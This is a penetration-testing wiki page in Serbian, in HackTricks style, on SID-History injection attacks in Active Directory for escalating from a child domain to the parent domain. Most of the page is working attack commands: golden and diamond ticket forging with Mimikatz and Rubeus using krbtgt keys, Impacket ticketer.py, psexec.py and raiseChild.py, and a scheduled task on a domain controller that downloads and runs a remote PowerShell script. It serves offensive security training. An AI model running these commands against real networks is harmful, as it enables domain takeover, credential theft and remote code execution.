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126 lines
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Markdown
126 lines
6.0 KiB
Markdown
# SID-History Injection
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{{#include ../../banners/hacktricks-training.md}}
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## SID History Injection Attack
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Fokus **SID History Injection Attack** je pomoć **migraciji korisnika između domena** dok se obezbeđuje nastavak pristupa resursima iz prethodne domene. To se postiže **uključivanjem prethodnog Security Identifier-a (SID) korisnika u SID History** njihovog novog naloga. Važno je napomenuti da se ovaj proces može manipulisati kako bi se omogućio neovlašćen pristup dodavanjem SID-a grupe sa visokim privilegijama (kao što su Enterprise Admins ili Domain Admins) iz matične domene u SID History. Ova eksploatacija omogućava pristup svim resursima unutar matične domene.
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Postoje dve metode za izvršavanje ovog napada: kroz kreiranje **Golden Ticket** ili **Diamond Ticket**.
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Da bi se odredio SID za grupu **"Enterprise Admins"**, prvo je potrebno locirati SID matične domene. Nakon identifikacije, SID grupe Enterprise Admins može se konstruisati dodavanjem `-519` na SID matične domene. Na primer, ako je SID matične domene `S-1-5-21-280534878-1496970234-700767426`, rezultantni SID za grupu "Enterprise Admins" bi bio `S-1-5-21-280534878-1496970234-700767426-519`.
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Takođe možete koristiti grupe **Domain Admins**, koje se završavaju sa **512**.
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Drugi način da se pronađe SID grupe iz druge domene (na primer "Domain Admins") je sa:
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```powershell
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Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid
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```
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### Zlatna ulaznica (Mimikatz) sa KRBTGT-AES256
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```bash
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mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid:<current_domain_sid> /sids:<victim_domain_sid_of_group> /aes256:<krbtgt_aes256> /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi" "exit"
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/user is the username to impersonate (could be anything)
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/domain is the current domain.
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/sid is the current domain SID.
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/sids is the SID of the target group to add ourselves to.
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/aes256 is the AES256 key of the current domain's krbtgt account.
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--> You could also use /krbtgt:<HTML of krbtgt> instead of the "/aes256" option
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/startoffset sets the start time of the ticket to 10 mins before the current time.
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/endin sets the expiry date for the ticket to 60 mins.
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/renewmax sets how long the ticket can be valid for if renewed.
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# The previous command will generate a file called ticket.kirbi
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# Just loading you can perform a dcsync attack agains the domain
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```
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Za više informacija o zlatnim karticama proverite:
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{{#ref}}
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golden-ticket.md
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{{#endref}}
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### Dijamantska kartica (Rubeus + KRBTGT-AES256)
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```powershell
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# Use the /sids param
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Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap
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# Or a ptt with a golden ticket
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Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid> /sids:<parent_domain_sid>-519 /user:Administrator /ptt
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# You can use "Administrator" as username or any other string
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```
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Za više informacija o dijamantskim kartama proverite:
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{{#ref}}
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diamond-ticket.md
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{{#endref}}
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```bash
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.\asktgs.exe C:\AD\Tools\kekeo_old\trust_tkt.kirbi CIFS/mcorp-dc.moneycorp.local
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.\kirbikator.exe lsa .\CIFS.mcorpdc.moneycorp.local.kirbi
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ls \\mcorp-dc.moneycorp.local\c$
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```
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Povećajte privilegije na DA root ili Enterprise admin koristeći KRBTGT hash kompromitovanog domena:
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```bash
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Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-211874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"'
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Invoke-Mimikatz -Command '"kerberos::ptt C:\AD\Tools\krbtgt_tkt.kirbi"'
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gwmi -class win32_operatingsystem -ComputerName mcorpdc.moneycorp.local
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schtasks /create /S mcorp-dc.moneycorp.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "STCheck114" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
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schtasks /Run /S mcorp-dc.moneycorp.local /TN "STCheck114"
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```
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Sa stečenim dozvolama iz napada možete izvršiti, na primer, DCSync napad u novoj domeni:
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{{#ref}}
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dcsync.md
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{{#endref}}
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### Iz linux-a
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#### Ručno sa [ticketer.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketer.py)
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```bash
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# This is for an attack from child to root domain
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# Get child domain SID
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lookupsid.py <child_domain>/username@10.10.10.10 | grep "Domain SID"
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# Get root domain SID
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lookupsid.py <child_domain>/username@10.10.10.10 | grep -B20 "Enterprise Admins" | grep "Domain SID"
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# Generate golden ticket
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ticketer.py -nthash <krbtgt_hash> -domain <child_domain> -domain-sid <child_domain_sid> -extra-sid <root_domain_sid> Administrator
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# NOTE THAT THE USERNAME ADMINISTRATOR COULD BE ACTUALLY ANYTHING
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# JUST USE THE SAME USERNAME IN THE NEXT STEPS
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# Load ticket
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export KRB5CCNAME=hacker.ccache
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# psexec in domain controller of root
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psexec.py <child_domain>/Administrator@dc.root.local -k -no-pass -target-ip 10.10.10.10
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```
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#### Automatski koristeći [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py)
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Ovo je Impacket skripta koja će **automatizovati eskalaciju sa child na parent domen**. Skripta zahteva:
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- Ciljni kontroler domena
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- Akreditive za admin korisnika u child domenu
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Tok rada je:
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- Dobija SID za grupu Enterprise Admins u parent domenu
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- Preuzima hash za KRBTGT nalog u child domenu
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- Kreira Zlatnu Ulaznicu
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- Prijavljuje se u parent domen
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- Preuzima akreditive za Administrator nalog u parent domenu
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- Ako je `target-exec` prekidač specificiran, autentifikuje se na Kontroler Domena parent domena putem Psexec.
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```bash
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raiseChild.py -target-exec 10.10.10.10 <child_domain>/username
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```
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## Reference
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- [https://adsecurity.org/?p=1772](https://adsecurity.org/?p=1772)
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- [https://www.sentinelone.com/blog/windows-sid-history-injection-exposure-blog/](https://www.sentinelone.com/blog/windows-sid-history-injection-exposure-blog/)
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{{#include ../../banners/hacktricks-training.md}}
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